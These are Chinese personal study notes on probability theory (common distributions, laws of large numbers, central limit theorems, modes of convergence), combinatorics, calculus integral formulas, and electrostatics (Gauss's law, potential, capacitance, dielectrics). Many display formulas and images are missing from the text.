这样,\((U, V) \sim N(0, 1; 0, 1; 0)\),即 \(U, V\) 相互独立。所以,
这里最后一个等号是运用了 \(\phi_{U,V}\)特征函数的变量替换和转置的性质;
这种变换的方式很好用,可以把标准联合正态分布的相关系数变为0;
多元随机向量的特征函数
设\(\mathbf{X}\)是一个多元随机向量,\(\mathbf{t}=(t_1,t_2,\ldots,t_n) \in \mathbb{R}^n\),定义
即两者做内积的期望;
常见分布¶
至今为止,概率论的数字特征部分已经结束,开始概率极限理论的学习之前,在此总结一下苏老师课上提到过的各种分布的表达,密度函数(或概率),期望,方差,特征函数;
退化分布,为离散型随机变量,取某个值的概率为1,其余取值的概率为0;
$$ P(X=a)=1 $$
期望为\(E(X)=a\),方差为\(Var(X)=0\),特征函数为\(e^{ita}\);
即 伯努利分布 ,Bernoulli distribution,离散型
可以记为\(X\sim B(1,p)\);
期望为\(E(X)=p\),方差为\(Var(X)=p(1-p)\),特征函数为\(pe^{it}+1-p\);
即 binomial distribution,离散型
记为 \(\xi\sim B(n,p)\)
期望为\(E(X)=np\),方差为\(Var(X)=np(1-p)\),特征函数为\((pe^{it}+1-p)^n\);
即 Poisson distribution,离散型
记为 \(\xi\sim\mathcal{P}(\lambda)\)
期望和方差均为\(\lambda\),特征函数为\(e^{\lambda(e^{it}-1)}\),使用凑成泰勒展开推导;
即 geometry distribution,一般用于解决第一次成功的问题,离散型
可以记为\(X\sim G(p)\);(Geometric distribution)
期望为\(E(X)=\frac{1}{p}\),方差为\(Var(X)=\frac{1-p}{p^2}\),特征函数为\(\frac{pe^{it}}{1-(1-p)e^{it}}\);推导过程是等比数列求和.
即 hypergeometry distribution,一般用于解决次品抽样问题,离散型
可以记为\(X\sim H(N,M,n)\);(Hypergeometry distribution)
期望为\(E(X)=\frac{nM}{N}\),方差为\(Var(X)=\frac{nM}{N}(1-\frac{M}{N})(\frac{N-n}{N-1})\),特征函数似乎没见过;
即 uniform distribution,连续型,有密度函数
记为\(X\sim U(a,b)\);
数学期望为\(E(X)=\frac{a+b}{2}\),方差为\(Var(X)=\frac{(b-a)^2}{12}\),特征函数为\(\frac{e^{itb}-e^{ita}}{it(b-a)}\);三者推导都是无情积分;
即 exponential distribution,连续型
记为\(X\sim E(\lambda)\);
数学期望为\(E(X)=\frac{1}{\lambda}\),方差为\(Var(X)=\frac{1}{\lambda^2}\),特征函数为\(\frac{\lambda}{\lambda-it}\);
即 normal distribution,连续型,有密度函数
记为\(X\sim N(\mu,\sigma^2)\);
数学期望为\(E(X)=\mu\),方差为\(Var(X)=\sigma^2\),特征函数为\(e^{i\mu t-\frac{1}{2}\sigma^2 t^2}\); 特别地,\(X\sim N(0,1)\)称为标准正态分布;其特征函数为\(e^{-\frac{1}{2}t^2}\);
若\(\xi_1,\xi_2,\cdots,\xi_n\)独立同分布于标准正态分布\(N(0,1)\),则称\(\xi_1^2+\xi_2^2+\cdots+\xi_n^2\)服从卡方分布,为连续型
有密度函数
记为\(\chi^2 \sim \chi^2(v)\);
\(v\) 为自由度,指的是自由变量的个数(\(n-r\)),\(r\) 为约束条件的个数;
期望为\(E(\chi^2)=v\),方差为\(Var(\chi^2)=2v\),特征函数为\((1-2it)^{-\frac{v}{2}}\);
记忆较为繁琐,可以只记住伽马分布即可;
即 Gamma distribution,连续型,有密度函数
记为\(X\sim \Gamma(\alpha,\lambda)\);
期望为\(E(X)=\frac{\alpha}{\lambda}\),方差为\(Var(X)=\frac{\alpha}{\lambda^2}\);
特征函数为\((1-\dfrac{it}{\lambda})^{-\alpha}\);
可以看到令\(\lambda=\dfrac{1}{2},\alpha=\dfrac{v}{2}\)时,\(\Gamma\)分布即为\(\chi^2\)分布;
概率极限理论¶
约 2138 个字 2 张图片 预计阅读时间 7 分钟
伯努利大数定律¶
给定\(p \in (0, 1)\),记\(S_n \sim \text{Binomial}(n, p)\),则
即频率与概率的偏差的概率随着试验次数的增加而趋近于0
Possion 极限定理¶
令 \(0 < p_n < 1\),假设 \(S_n \sim B(n, p_n)\),如果 \(np_n \to \lambda\),并且 \(0 < \lambda < 1\) 那么对任何 \(k = 0, 1, 2, \ldots\)
证明:由于 \(S_n \sim B(n, p_n)\)
Chebyshev 大数律¶
Chebyshev 不等式: 对任意随机变量 \(X\), \(EX\) 和 \(EX^2\) 存在有限, 那么对任意 \(\varepsilon > 0\)
应用 Chebyshev 不等式证明 Bernoulli 大数律
Chebyshev 大数律
假设 \(\xi_k, k \geqslant 1\) 是一列随机变量,\(E\xi_k = \mu\)。记 \(S_n = \sum_{k=1}^{n} \xi_k\),如果
那么
更一般地,假设 \(\xi_k, k \geqslant 1\) 是一列随机变量,\(E\xi_k = \mu_k\)。如果
那么
Chebyshev 大数律的证明
对任意 \(\varepsilon > 0\),
这里\(S_n\) 对应Chebyshev不等式中的\(X\),\(\sum_{k=1}^{n} \mu_k\) 对应Chebyshev不等式中的\(\mu\)
\(n\varepsilon\) 对应Chebyshev不等式中的\(\varepsilon\)
Chebyshev 大数律的意义: 1. 样本均值渐近逼近均值
-
没有独立性要求
-
Chebyshev 大数律的不足之处: 要求方差存在
Khinchin 大数律¶
假设 \(\xi_k, k \geqslant 1\) 是一列独立同分布的随机变量,且 \(E\xi_k = \mu\),记 \(S_n = \sum_{k=1}^{n} \xi_k\),那么
De Moivre-Laplace 中心极限定理¶
De Moivre公式
假设 \(S_n \sim B(n, p)\),那么
-
左边:规范化 \(\frac{S_n - np}{\sqrt{np(1-p)}}\) 随机变量的分布函数
-
右边:正态分布函数
利用De Moivre-Laplace定理证明
在伯努利试验中,若\(p \in (0, 1)\),则不管\(A\)是多大的常数,总有
将其化为标准形式,则
由De Moivre-Laplace定理,右边是趋向于0,所以原概率相当于
其中 \(X\) 是标准正态分布
但是,这一结果是否与大数定律相矛盾呢,直观上理解有些困难,但是,我们将其化为大数定律的形式来看的话,就有
但是大数定律的结论是,对于任意给定的\(\epsilon > 0\),总有
那么结果就很明了了,大数定律需要\(\epsilon\)给定,但是这里的\(\dfrac{A}{n}\)是与\(n\)有关一直变化的,并不满足大数定律的条件,所以,大数定律与这个结论并不矛盾,关键就在于\(A\)是给定的常数导致它除以\(n\)后,\(\epsilon\)是变化的。
依概率收敛¶
\((\Omega, \mathcal{S}, P)\) 是一个概率空间,\(X, X_n, n \geqslant 1\) 是一列随机变量,如果对任意 \(\epsilon > 0\),
称 \(X_n\) 依概率收敛到 \(X\),记做 \(X_n \xrightarrow{P} X\)。
按此概念,Bernoulli 大数律可写成
依概率收敛的性质
如果 \(X_n \xrightarrow{P} X\) 且 \(X_n \xrightarrow{P} Y\),那么
证明
因此, 需要证明对任意 \(\epsilon > 0\),
给定 \(\epsilon > 0\), 对任意 \(n \geqslant 1\)
这里运用了三角不等式,小的发生,大的一定也发生;
这里是因为
令 \(n \to \infty\),
因此
如果存在某 \(r > 0\), 成立
那么
如果 \(X_n \xrightarrow{P} X, Y_n \xrightarrow{P} Y\), 那么
(i) \(X_n \pm Y_n \xrightarrow{P} X \pm Y\)
(ii) \(X_n \cdot Y_n \xrightarrow{P} X \cdot Y\)
(iii) 如果 \(P(Y \neq 0) = 1\), 那么 \(\frac{X_n}{Y_n} \xrightarrow{P} \frac{X}{Y}\)
假设 \(f: \mathbb{R} \mapsto \mathbb{R}\) 是连续映射,如果 \(X_n \xrightarrow{P} X\),那么
证明
设 \(\epsilon' > 0\),存在 \(M > 0\),使得
由于 \(\xi_n \xrightarrow{P} \xi\),故存在 \(N_1 \geqslant 1\),当 \(n \geqslant N_1\) 时,\(P(|\xi_n - \xi| \geqslant \frac{M}{2}) \leqslant \frac{\epsilon'}{4}\)。因此
又因 \(f(x)\) 在 \((-\infty, \infty)\) 上连续,从而在 \([-M, M]\) 上一致连续。对给定的 \(\epsilon > 0\),存在 \(\delta > 0\),当 \(|x - y| < \delta\) 时,\(|f(x) - f(y)| < \epsilon\)。这样
对上述的 \(\delta\),存在 \(N_2 \geqslant 1\),当 \(n \geqslant N_2\) 时,
当 \(n \geqslant \max(N_1, N_2)\) 时,
依分布收敛¶
假设 \((\Omega, \Sigma, P)\) 是概率空间,\(X, X_n, n \geqslant 1\) 是一列随机变量,\(F, F_n, n \geqslant 1\) 是一列相应的分布函数,如果对于 \(F\) 的任意连续点 \(x\),
称 \(F_n\) 依分布收敛于 \(F\),记 \(F_n \xrightarrow{d} F\) 或者 \(X_n \xrightarrow{d} X\)。
按此概念,中心极限定理可写成
Tip
-
如果 \( F \) 是在 \(\mathbb{R}\) 上连续, 那么 \( F_n \) 处处收敛到 \( F \)
-
一般地,\( F \)不是连续函数(左极限存在,右连续的函数)
-
既然 \(F\) 是单调有界函数,\(F\) 的不连续点集最多可数个:
- \(F\) 的连续性点集在 \(\mathbb{R}\) 上稠密。
依概率收敛与依分布收敛的关系
证明的关键在于构造夹逼项;
如果 \( \xi_n \xrightarrow{P} \xi \),那么 \( \xi_n \xrightarrow{d} \xi \)
假设 \(F\) 和 \(F_n\) 分别是 \(\xi\) 和 \(\xi_n\) 的分布函数,那么对任意给定 \(\epsilon > 0\),有
因此
令 \(n \to \infty\),由于 \(P(\xi_n - \xi > \epsilon) \to 0\),所以
同理
从而
因此
但是如果 \(X_n \xrightarrow{d} C\),那么 \(X_n \xrightarrow{P} C\)
其中 \(C\) 是常数
如果 \(\xi_n \xrightarrow{d} c\),则
因此对任意 \(\epsilon > 0\),有
定理证毕。
-
Levy 连续性定理:
假设 \(X, X_n, n \geqslant 1\) 是一列随机变量,具有特征函数 \(\phi, \phi_n, n \geqslant 1\)。那么
\[ X_n \xrightarrow{d} X \iff \phi_n(t) \to \phi(t), \quad t \in \mathbb{R} \] -
Levy 连续性定理的另一种形式:
假设 \(X_n, n \geqslant 1\) 是一列随机变量,具有特征函数 \(\phi_n, n \geqslant 1\)。如果
\[ \phi_n(t) \to \phi(t), \quad t \in \mathbb{R} \]并且 \(\phi\) 在 0 处连续,那么 \(\phi\) 一定是特征函数。记与 \(\phi\) 相应的随机变量为 \(X\),那么
\[ X_n \xrightarrow{d} X \]
运用Levy定理,如果要证明一列随机变量依分布收敛于某个随机变量,只需要证明这列随机变量的特征函数收敛于该随机变量的特征函数。
应用
回忆 \(\xi_k, k \geqslant 1\) 独立同分布,\(E\xi_k = \mu\),那么
证明:只需证明
在 0 处进行 Taylor 展开,
所以,对每个 \(t \in \mathbb{R}\),
回忆 \(\xi_k, k \geqslant 1\) 独立同分布,\(E\xi_k = \mu, \operatorname{Var}(\xi_k) = \sigma^2\),那么
证明:只需证明
注意到
在 0 处进行 Taylor 展开,
所以,对任意 \(t\),
依分布收敛的性质
-
- 如果 \(X_n \xrightarrow{d} X\),\(a_n,b_n \rightarrow a,b\),那么 \(a_nX_n + b_n \xrightarrow{d} aX + b\)
线性性:
- 如果 \(X_n \xrightarrow{d} X\),\(Y_n \xrightarrow{P} Y\),那么 \(X_n Y_n \xrightarrow{d} X Y\)
-
连续映射保依分布收敛:
- 如果 \(X_n \xrightarrow{d} X\),且 \(f: \mathbb{R} \mapsto \mathbb{R}\) 是连续映射,那么 \(f(X_n) \xrightarrow{d} f(X)\)
Helly引理
假设 \(F, F_n, n \geq 1\) 是一列分布函数,并且 \(F_n \xrightarrow{d} F\),那么对任意有界连续函数 \(g\)
这样,对任意 \(t \in \mathbb{R}\),
结论成立
心得
在证明这些性质时常用的放缩有
-
\(P( a < A) \leqslant P( b < A ) (b<a)\) 大的发生(小于A),小的一定也发生
-
\(P(a > A) \leqslant P(b > A) (b > a)\) 小的发生(大于A),大的一定也发生
-
\(P(A_n) \leqslant P(A_n,B_n)+P(A_n,B_n^c)\),至少有一个发生
-
\(P(A_n) \geqslant P(A_n,B_n)\) 条件加强,概率变小,反过来使用就是条件减弱,概率变大
Levy-Feller 中心极限定理¶
- Levy-Feller 中心极限定理
假设 \(\xi_k, k \geqslant 1\) 是一列独立同分布随机变量,\(E\xi_k = \mu, \operatorname{Var}(\xi_k) = \sigma^2\)。记 \(S_n = \sum_{k=1}^{n} \xi_k\),那么对任意 \(x\),
即
Levy-Feller 中心极限定理的意义
-
应用于一般随机变量,推广了 de Moivre-Laplace 中心极限定理。
-
说明测量误差可用正态分布描述,即正态分布无处不在。
假设测量值为 \(X_i\),真值为 \(\mu\)。每次误差为 \(X_i - \mu\),\(n\) 次观测所得误差叠加,记为 \(\sum_{i=1}^{n}(X_i - \mu)\)。那么
Lyapunov 中心极限定理¶
假设 \(\xi_k, k \geqslant 1\) 是一列独立随机变量不一定同分布,\(E\xi_k = \mu_k\),\(\operatorname{Var}(\xi_k) = \sigma_k^2\)。记 \(S_n = \sum_{k=1}^{n} \xi_k\),\(B_n = \sum_{k=1}^{n} \sigma_k^2\)。如果
- \(B_n \to \infty\)
- \(E|\xi_k|^3 < \infty\),且
那么对任意 \(x\)
即
Lyapunov 中心极限定理的意义
-
推广了 Levy-Feller 中心极限定理。
-
解决了不同分布的随机变量和的中心极限问题。
-
Lyapunov 条件可以推出 Lindeberg 条件
Lindeberg 条件
假设 \(\{\xi_n\}\) 是独立随机变量序列,\(F_k\) 为对应分布函数,且每个变量有有限期望和方差 \(a_k, \sigma_k^2\)。
记 \(B_n^2 = \sum_{k=1}^{n} \sigma_k^2\)。
Lindeberg 条件为:
几乎处处收敛¶
几乎处处收敛
- 处处收敛: 假设 \((\Omega, \mathcal{A}, P)\) 是一个概率空间,\(X, X_n, n \geqslant 1\) 是一列随机变量,如果对每个 \(\omega \in \Omega\),
那么称 \(X_n\) 处处收敛于 \(X\)。
- 几乎处处收敛: 假设 \((\Omega, \mathcal{A}, P)\) 是一个概率空间,\(X, X_n, n \geqslant 1\) 是一列随机变量,如果存在 \(\Omega_0 \subset \Omega\) 使得
(i) \(P(\Omega_0) = 0\)
(ii) 对每个 \(\omega \in \Omega \setminus \Omega_0\),
那么称 \(X_n\) 几乎处处收敛于 \(X\),记做 \(X_n \to X, a.s.\)。
即除一个零概率事件外,\(X_n\) 处处收敛于 \(X\)。
几乎处处收敛的判别法则¶
\(X_n \to X, \ a.s.\)
当且仅当对任意 \(\epsilon > 0\),
或者说
等价地, 对任意 \(\epsilon > 0\),
由此, 也可看出几乎处处收敛比依概率收敛强。
这一部分的推导比较繁琐,这里就不敲上来了,直接附上我的手写版,勿怪
Borel-Cantelli 引理¶
- 假设 \(A_n, n \geqslant 1\) 是一列事件,如果
那么
证明:
- 假设 \(A_n, n \geqslant 1\) 是一列独立事件,如果
那么
证明:由于 \(A_n, n \geqslant 1\) 是一列独立事件,那么
首先做如下转化
Borel-Cantelli 引理又称为零一定律,即如果事件发生的概率之和有限,那么事件发生的次数是有限的(有无限次不发生),如果事件发生的概率之和无限,那么事件发生的次数是无限的。
Borel大数定律¶
假设 \((\Omega, A, P)\) 是一个概率空间,\(\xi_k, k \geqslant 1\) 是一列独立同分布随机变量:
记 \(S_n = \sum_{k=1}^{n} \xi_k\),那么 \(S_n/n \to p\),a.s.
证明:对任意 \(\epsilon > 0\)
由 Borel-Cantelli 引理,只需证明
由 Markov 不等式,
容易计算得,
因此,
Kolmogorov 大数律¶
假设 \((\Omega, A, P)\) 是一个概率空间,\(\xi_k, k \geqslant 1\) 是一列独立同分布随机变量。如果 \(E\xi_k = \mu\),那么
- Kolmogorov 强大数律推广了 Borel 强大数律
- Kolmogorov 强大数律推广了 Khinchine 大数律
概率相关的知识¶
约 443 个字 预计阅读时间 2 分钟
记录一些学习过程中发现的有趣的概率问题
Danger
相互独立,交事件可以拆开变成概率相乘; 且若AB独立,则A与B的补事件也独立
互不相交(互斥),并事件可以拆开变成概率相加。
n 个球放入m个不同的盒子
| 球 | 盒 | 允许空 | 方案数 |
|---|---|---|---|
| 不同 | 不同 | 是 | \( m^n \) |
| 不同 | 不同 | 否 | \( m! \cdot S(n, m) \) |
| 不同 | 相同 | 是 | \(\sum_{k=0}^{m} S(n, k)\) |
| 不同 | 相同 | 否 | \( S(n, m) \) |
| 相同 | 不同 | 是 | \( \binom{n+m-1}{m-1} \) |
| 相同 | 不同 | 否 | \( \binom{n-1}{m-1} \) |
| 相同 | 相同 | 是 | \( dp(n, m) \) |
| 相同 | 相同 | 否 | \( dp(n-m, m) \) |
其中 \(S(n,m)\) 为第二类 Stirling 数(Stirling numbers of the second kind)是组合数学中的一个重要概念,用来描述如何将 \(n\) 个不同的元素划分为 \(m\) 个非空的无序子集。更具体地说,\( S(n, m) \) 表示的是有多少种方法可以把一个包含 \(n\) 个元素的集合划分成 \(m\) 个非空子集。
计算公式
第二类斯特林数 \( S(n, m) \) 的递推公式如下:
其中,边界条件是:
- \( S(0, 0) = 1 \)
-
对于 \( n > 0 \), \( S(n, 0) = 0 \) 且 \( S(n, n) = 1 \)
-
\( m \cdot S(n-1, m) \):将第 \(n\) 个元素放入现有的 \(m\) 个子集中的某一个。共有\(m \cdot S(n-1, m)\)种 。
- \( S(n-1, m-1) \):将第 \(n\) 个元素作为一个新的子集。
Eg
例如,\( S(3, 2) = 3 \),表示有 3 种方法可以将 3 个元素分成 2 个非空子集,分别是:
- {1, 2}, {3}
- {1, 3}, {2}
- {2, 3}, {1}
Stirling 公式¶
数学分析
数学分析一,二的个人手写笔记¶
约 392 个字 2 张图片 预计阅读时间 1 分钟
各类积分的总结
- 定义在整个空间上的积分
- 定积分
- 双重积分
- 三重积分
- 定义在曲线上的积分
- 曲线积分
- 第一类曲线积分,计算可以使用参数方程,将曲线微分表示出来即可
- 第二类曲线积分,计算可以使用参数方程,将曲线微分表示出来,但是要根据方向来确定积分上下限;也可以使用Green公式和Stokes公式,将边界曲线积分转化为所围成曲面上的第一类面积分
- 曲面积分
- 第一类曲面积分,计算可以通过投影,通过计算法向量来计算投影角;从而将曲面积分转化为二重积分
- 第二类曲面积分,计算可以通过投影,通过计算法向量来计算投影角;从而将曲面积分转化为二重积分,在这个基础之上多了一步定向即 一投,二代,三定向 ;也可以使用Gauss公式,将曲面积分转化为所围成体积上的体积分
Gauss,Green,Stokes公式
- Gauss公式:\(\iint_S \vec{F}\cdot d\vec{S} = \iiint_V \nabla \cdot \vec{F}dV\)
- Green公式:\(\oint_C Pdx + Qdy = \iint_D (\frac{\partial Q}{\partial x} - \frac{\partial P}{\partial y})dxdy\)
- Stokes公式:\(\oint_C \vec{F}\cdot d\vec{r} = \iint_S \nabla \times \vec{F}\cdot d\vec{S}\) 实际上Green公式是Stokes公式在二维平面上的一个特例
普通物理学二
约 95 个字 预计阅读时间不到 1 分钟
授课教师:方明虎
一位科研和教学水平都很高的老师!讲课充满激情,可以在课堂上了解到所学知识与前沿科学,实际生活的联系,根本不会犯困,体验极佳
电学部分¶
约 5706 个字 25 张图片 预计阅读时间 20 分钟
Electric Charge and Coulomb's Law(电荷和库仑定律)¶
A ring of charge¶
对于一个均匀带电的圆环,距离其中心 \(z\) 的带电量为 \(q_0\) 所受的沿 \(Z\) 方向的力 \(F_z\)

先计算电荷密度
Note
当 \(z\) 非常大,原式子就退化成了两个点电荷之间的相互作用
A disk of charge¶
如果是一个圆盘,\(F_z\) 可以用圆环来逼近

当 \(z\) 非常大,原式子就退化成了两个点电荷之间的相互作用(用Taylor展开分析)
Key-point
如果是一个无穷大的圆盘,那么\(R \to \infty\),此时 \(F_z = \dfrac{1}{4 \pi \epsilon_0} \dfrac{2q_0q}{R^2}\) 其电场为
A infinite stick of charge

由于对称性,在\(x\)方向上没有电场
Dipole(电偶极矩)¶
Definition
电偶极矩是描述带电粒子系统中电荷分布的物理量,通常用于量化两个相反电荷之间的分离程度和方向。在经典电磁学中,电偶极矩通常表示为一个矢量,其大小等于电荷量乘以电荷间的距离。 定义为:
其中:
- \( q \) 是两个相反电荷的电荷量,
- \( \mathbf{d} \) 是从负电荷指向正电荷的矢量,表示两个电荷之间的距离。
电偶极矩的方向从负电荷指向正电荷,因此在分子或原子系统中,它反映了电荷不对称分布的程度。对于分子,电偶极矩的大小和方向对分子的化学性质和反应性有重要影响。
电偶极矩的单位通常是德拜(Debye,符号为 D),1 德拜大约等于 \( 3.33564 \times 10^{-30} \) 库仑·米。
根据电偶极矩可以将分子间作用力分为几种类型

- 离子-偶极相互作用(Ion-Dipole Interaction)
离子-偶极相互作用发生在带电的离子和极性分子之间。当离子(如 \( \text{Na}^+ \) 或 \( \text{Cl}^- \))靠近一个有电偶极矩的分子(如水分子,H\(_2\)O)时,离子会与极性分子的部分正电荷或负电荷产生吸引力。
Eg
在盐溶解于水的过程中,水分子的极性部分(氧的负电部分或氢的正电部分)与钠离子或氯离子之间产生的吸引力是离子-偶极相互作用。这种相互作用有助于溶解过程。
- 偶极-偶极相互作用(Dipole-Dipole Interaction)
偶极-偶极相互作用发生在两个极性分子之间,这些分子都有永久的偶极矩。当一个分子的正电部分接近另一个分子的负电部分时,它们之间会产生吸引力。
Eg
像氯化氢 (HCl) 这样的极性分子之间的相互作用就属于偶极-偶极相互作用。HCl 分子的氯原子带负电,而氢原子带正电,这两种相反的电荷相互吸引,从而形成偶极-偶极相互作用。
- 伦敦色散力(London Dispersion Force)
伦敦色散力,又称为**瞬时偶极-诱导偶极力**,是一种在所有原子和分子之间都存在的弱相互作用力,特别是对于非极性分子。它是由瞬时的电子运动引起的,即在某个瞬间,分子或原子周围的电子云分布不均匀,形成瞬时偶极,这个瞬时偶极会诱导临近分子或原子产生相似的瞬时偶极,从而产生吸引力。
Eg
即使是像氮气 (N\(_2\)) 和氧气 (O\(_2\)) 这样的非极性分子,也存在伦敦色散力。这种相互作用虽然很弱,但对大多数非极性物质的凝聚力和熔沸点有重要影响。
电偶极矩产生的电场¶

Note
如果考虑 \((0,y)\) 上的电场,则其在 \(x\) 方向上没有分量
Note
Eg
北高峰上的天线和紫金港的分子
\(E\) 和 \(r^3\) 成反比
Key-point
电偶极矩的电场与距离\(r^3\)成反比,而点电荷的电场与距离\(r^2\)成反比,无穷长导线的电场与距离\(r\)成反比
电偶极矩在电场中¶

Key-point
电偶极矩在电场中受到的力矩会驱使电偶极矩旋转上与电场方向对齐
对于电偶极矩在电场中的势能
第一个式子的负号是因为力矩与角度的变化方向相反
Gauss's Law(高斯定理)¶
电场的高斯定理¶
Definition
The net electric flux through any closed surface is proportional to the charge enclosed by that surface.
E不一定只由q产生,但是q只用计算被包裹住的电荷
在数学分析二中,我们也知道Gauss公式,即:
Note
设 \(\Omega\) 是分段光滑的封闭曲面构成的二维单连通区域,函数 \(P(x,y,z),Q(x,y,z),R(x,y,z)\) 在 $\Omega $ 上具有连续偏导数, 则
将两者结合起来,我们就可以得到高斯定理的微分形式
而
所以
Key-point
运用高斯定理可以通过电荷求电场,也可以通过电场求电荷,关键在于高斯面的选取,一般而言,选取球面,圆柱面,或者长方体表面更加方便计算,高斯定理只是再计算一些具有特殊对称性物体时,非常的方便,对于一般的物体,还是要用库仑定律来计算
Note
我们知道导体内部的电场是0,由高斯定理,导体的内部没有电荷,所以其电荷分布在表面。
静电场的环路定律¶
The circuit Law of the electrostatic field
then
这个是由Stokes定理推出的,即:
Note
设 \(\Omega\) 是光滑的曲面,其边界 \(\partial \Omega\) 是分段光滑的闭曲线函数 \(P(x,y,z),Q(x,y,z),R(x,y,z)\) 在 $\Omega,\partial \Omega $ 上具有连续偏导数, 则
Electric Potential(电势)¶
电势能与电势¶
电势是电场中某一点的物理量,定义为单位正电荷在该点所具有的电势能。具体来说,电势 \( V \) 可以表示为:
其中 \( U \) 是电势能,\( q \) 是电荷量。电势是一个标量,通常相对于无限远处的电势为零来计算。
Key-point
计算某点a的电势的可以使用从该点到无穷远的电场的积分:
因为\(W_{a}^{\infty}=-U_{a}^{\infty}=U_a-U_{\infty}\),而 \(U_{\infty}=0\),\(W=\int q \boldsymbol{E} \cdot d\boldsymbol{l}\),\(V = \frac{U}{q}\)
根据这个式子可以得到 点电荷产生的电势
根据点电荷产生的电势,可以得到电偶极矩产生的电势

当 \(r >> a\), \(r_1 \approx r_2 \approx r\),所以\(r_1-r_2 \approx 2a\cos \theta,r_1r_2 \approx r^2,p=2aq\)
\(\theta = \frac{\pi}{2},V=0;\theta=0,V_{max}>0;\theta=\pi,V_{min}<0\)
也可以推导电四偶极矩的电势

其中 \(Q = 2qd^2\) 是电四偶极矩
Key-point
对于点电荷, \(V \propto \frac{1}{r}\), 对于电偶极矩,\(V \propto \frac{1}{r^2}\), 对于电四偶极矩,\(V \propto \frac{1}{r^3}\)
通过测量电势判断电荷的分布
$$ V\left(r\right)= \frac{1}{4 \pi \epsilon_0} \left( \frac{A_1}{r} + \frac{A_2}{r^2} + \frac{A_3}{r^3} + \dots \right) \ = \frac{1}{4 \pi \epsilon_0} \sum_i \frac{A_i}{r^i} $$
球壳的电势¶

利用Guass定理,我们可以得到球壳的电场分布:
在球壳内部,电场为0,在球壳外部,电场为点电荷产生的电场
则对于距离球心距离为 \(r\) 的点,其电势有以下两种情况
- \(r < R\),则 \(V = \int_{r}^{R} E \cdot dr + \int_{R}^{+\infty} E \cdot dr = 0 + \frac{q}{4 \pi \epsilon_0 R}\)
- \(r > R\),则 \(V = \int_{r}^{+\infty}= \frac{q}{4 \pi \epsilon_0 r}\)
对于该球壳的电势能,可以将其分隔为很多个小电荷,然后对每个小电荷的电势能求和,由于\(ij\)对称性,要乘以\(\frac{1}{2}\)
解释
固定 \(i\) ,先对 \(j\) 求和,相当于整个球壳在 \(i\) 产生的电势 \(V_i\) ,再对 \(i\) 求和,此时由于球壳内和球壳上的电势都是 \(\dfrac{q}{4 \pi \epsilon_0 R}\) ,所以最后只需要对于球壳上的电荷求和即可,通过结果我们可以发现 电势能蕴藏在电场中
估算电子的半径
电子的电势能与其原子能相等,这样处于平衡状态
通过电势求电场¶
由于我们有
故
即求某一方向的电场,只需要求该方向的电势的偏导数即可
射影法求电场
通过电场线的类似性构造新的电荷来求电场;例如感应在无穷长的导体板上的电场,可以类似于在对称的位置上放上一个点电荷

Capacitance(电容)¶
Definition
电容器的电容定义为
其中 \(q\) 是电容器上的电荷,\(V\) 是电容器上的电势差
平行板电容器¶

故平行板电容器的电容与板的面积成正比,与板的距离成反比,即与电容器的几何参数有关
圆柱电容器¶

首先用高斯定律计算电场
那么对于单位长度的电容,有
球形电容器¶

Property
特别的,当 \(b \to \infty\) 时,\(C = 4 \pi \varepsilon_0 a\),这说明电容并不一定需要两个,一个导体也可以作为电容
电容器的并联和串联¶
并联(电压一致)¶

串联(电荷一致)¶

Key-point
串联电容器的电容是并联电容器的倒数的和,而并联电容器的电容是串联电容器的和,这恰好跟电阻的串联和并联相反
电容器的能量¶
考虑一个平行板电容器,其电容为 \(C\),电压为 \(V\),则其具有的能量相当于从负极板不断将电荷移动到正极板,这样的过程中克服电场力所做的功
它的能量储存在它的电场中;由于\(V=Ed\);
这样就得到单位体积的电场能量密度
Key-point
Warning
虽然公式是由平行板电容器推导出来的,但是这个公式以及能量密度公式对于任何电容器都是成立的
电介质,电场中的绝缘体¶
影响电容还有另外一个十分重要的因素,介电常数\(\kappa_e\),当电容器中插入电介质时,电容器的电容会增加,具体为
宏观解释¶
- 在平行板电容器中插入一根导体,其表面会产生感应电荷,相当于两个电容器串联

电容变大了,但是不能插入的导体不能太厚,否则间隙太小,很容易就达到空气的击穿电压,所以即使导体能很很好的增加电容,我们也不使用,而是使用其他的电介质
- 在平行板电容器中插入一根电介质,使其充满间隙;其表面会产生束缚电荷,在介质之间会产生感应电场,抵消掉原电场的一部分(但是不为0);两极板间的电场减小,电压减小,电荷量不变,电容增大;此时我们称该介质被极化(polarization)了

Info
其实,在英文的教材中,不管是感应电荷还是束缚电荷,都使用 induced charge 来表示,在中文中,我们为了区分导体产生的与非导体产生的,所以使用了不同的词汇
极化微观解释¶
Definiton
- Non-polar dielectrics:无极分子电介质,指的是分子中的正负电荷中心重合,如氧气,氮气, 二氧化碳等
- Polar dielectrics:有极分子电介质,指的是分子中的正负电荷中心不重合,如水
对于 Non-polar dielectrics,当电场作用于其上时,它会将重合的正负电荷中心分开,形成电偶极矩,这样就会产生一个与电场方向相反的电场,从而减小了电场强度(内部的电场矢量求和之后,相当于在表面分别产生正负电荷)

Note
其本质是电子云位移的结果
对于 Polar dielectrics,当电场作用于其上时,它会给原本杂乱无章的电偶极矩一个力矩,这个力矩会使得电偶极矩偏向电场方向,这样的极化叫做 取向极化

Note
当取向极化发生时,电子云的位移也会发生,但是彼此差了两个量级,一般忽略了电子云的位移;但是当外部电场变化频率很大时,电偶极矩转来转去是跟不上的,但是电子云的左右移动是可以的,这时候电子云的位移是主要影响的因素
极化强度矢量(Polarization)¶
Definition
极化强度矢量 \(\boldsymbol{P}\) 定义为单位体积内的电偶极矩之和
其中 \(\boldsymbol{p}\) 是单位体积内的电偶极矩;
\(P\) 可能是均匀的,也可能是不均匀的
对于任意的电介质,在其表面取一个小斜圆筒,母线与电场方向一致,长度为一个电偶长度;底面与该表面的法向量垂直,这样斜斜圆筒内只可能有正电荷;

设 \(n\) 为单位体积内的电偶极矩数目(分子数目) 则
所以
Key-point
极化强度矢量与闭合曲面的内积积分等于该曲面表面的束缚电荷,等于该曲面内部电荷的相反数(外面有多少正的,里面就有多少负的)
同时
面电荷密度等于极化强度矢量在法向上的分量;由夹角来控制正负

电介质的极化规律¶
Definition
在各向异性的介质中,极化强度矢量是电场的函数,在各项同性的材料中\(\boldsymbol{P}=\varepsilon_0 \chi_e E\)
其中 \(\chi_e\) 是电介质的电极化率,与介电常数的关系为 \(\kappa_e = 1 + \chi_e\)
Guass定律的推广¶
考虑一个正电荷 \(q_0\) 放在电介质中,其周围会产生极化

由 高斯定理,我们可以得到
其中 \(\boldsymbol{D} = \varepsilon_0 \boldsymbol{E} + \boldsymbol{P}\) 称为电位移矢量,也叫做电感应矢量
这说明电位移矢量与闭合曲面内积面积分等于该曲面内的 自由电荷 之和
Key-point
Example
在上面的例子中
